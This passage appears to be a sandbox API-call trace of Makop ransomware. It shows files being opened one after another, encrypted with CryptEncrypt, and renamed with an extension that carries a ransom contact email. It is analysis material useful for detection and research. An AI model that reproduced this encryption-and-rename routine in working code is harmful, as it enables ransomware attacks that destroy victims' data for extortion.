Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0115.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.115] GetProcessHeap () returned 0x48a0000 [0115.115] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.115] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.120] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.120] GetProcessHeap () returned 0x48a0000 [0115.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.120] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.122] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.122] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.122] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10f4, lpOverlapped=0x0) returned 1 [0115.123] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1100, dwBufLen=0x1100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1100) returned 1 [0115.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.123] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1100, lpOverlapped=0x0) returned 1 [0115.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.124] SetEndOfFile (hFile=0xf0) returned 1 [0115.131] GetProcessHeap () returned 0x48a0000 [0115.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.131] GetProcessHeap () returned 0x48a0000 [0115.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.131] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.132] CloseHandle (hObject=0xf0) returned 1 [0115.132] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0115.132] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0115.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.133] GetProcessHeap () returned 0x48a0000 [0115.133] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.133] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.138] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.138] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.138] GetProcessHeap () returned 0x48a0000 [0115.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.138] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.138] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.140] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.140] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.140] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bac, lpOverlapped=0x0) returned 1 [0115.146] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bb0) returned 1 [0115.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bb0, lpOverlapped=0x0) returned 1 [0115.147] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.147] SetEndOfFile (hFile=0xf0) returned 1 [0115.154] GetProcessHeap () returned 0x48a0000 [0115.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.154] GetProcessHeap () returned 0x48a0000 [0115.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.154] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.156] CloseHandle (hObject=0xf0) returned 1 [0115.156] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0115.156] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0115.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.158] GetProcessHeap () returned 0x48a0000 [0115.158] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.158] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.158] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0115.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.163] GetProcessHeap () returned 0x48a0000 [0115.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.165] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bba, lpOverlapped=0x0) returned 1 [0115.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bc0) returned 1 [0115.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bc0, lpOverlapped=0x0) returned 1 [0115.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.167] SetEndOfFile (hFile=0xf0) returned 1 [0115.174] GetProcessHeap () returned 0x48a0000 [0115.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.174] GetProcessHeap () returned 0x48a0000 [0115.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.174] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.176] CloseHandle (hObject=0xf0) returned 1 [0115.176] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0115.176] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0115.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.178] GetProcessHeap () returned 0x48a0000 [0115.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.178] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.179] GetProcessHeap () returned 0x48a0000 [0115.179] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.179] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.185] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.185] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.186] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb20, lpOverlapped=0x0) returned 1 [0115.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb20, dwBufLen=0xb20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb20) returned 1 [0115.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb20, lpOverlapped=0x0) returned 1 [0115.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.186] SetEndOfFile (hFile=0xf0) returned 1 [0115.193] GetProcessHeap () returned 0x48a0000 [0115.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.193] GetProcessHeap () returned 0x48a0000 [0115.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.193] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.194] CloseHandle (hObject=0xf0) returned 1 [0115.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 